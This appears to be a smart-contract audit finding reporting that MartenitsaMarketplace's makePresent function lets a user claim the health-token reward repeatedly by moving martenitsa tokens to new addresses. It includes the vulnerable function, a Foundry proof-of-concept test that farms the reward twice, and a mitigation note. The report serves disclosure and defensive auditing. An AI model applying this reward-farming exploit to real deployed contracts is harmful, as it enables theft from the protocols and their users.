Summary
Users can abuse makePresent
in the MartenitsaMarketplace contract to collect rewards again and again.
Vulnerability Details
The user can collect martenitsa tokens and for every 3 different martenitsa tokens will receive 1 health token. After collecting reward, the user can call makePresent
to send martenitsa tokens to new address, and collect reward again.
function makePresent(address presentReceiver, uint256 tokenId) external {
require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token");
martenitsaToken.updateCountMartenitsaTokensOwner(presentReceiver, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(msg.sender, "sub");
martenitsaToken.safeTransferFrom(msg.sender, presentReceiver, tokenId);
}
POC:
function testAbuseMakePresentCollectReward() public eligibleForReward {
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(bob) == 10 ** 18);
address bob_newAddress = makeAddr("bob_newAddress");
vm.startPrank(bob);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(bob_newAddress, 0);
marketplace.makePresent(bob_newAddress, 1);
marketplace.makePresent(bob_newAddress, 2);
vm.stopPrank();
vm.prank(bob_newAddress);
marketplace.collectReward();
assert(healthToken.balanceOf(bob_newAddress) == 10 ** 18);
vm.prank(bob_newAddress);
healthToken.transfer(bob, 10 ** 18);
assert(healthToken.balanceOf(bob) == 2 * 10 ** 18);
}
add this test function in MartenitsaMarketplace.t.sol,
then run forge test --mt testAbuseMakePresentCollectReward
Impact
High
Tools Used
Foundry
Recommendations
Add restrictions to obtain rewards via martenitsa tokens's tokenId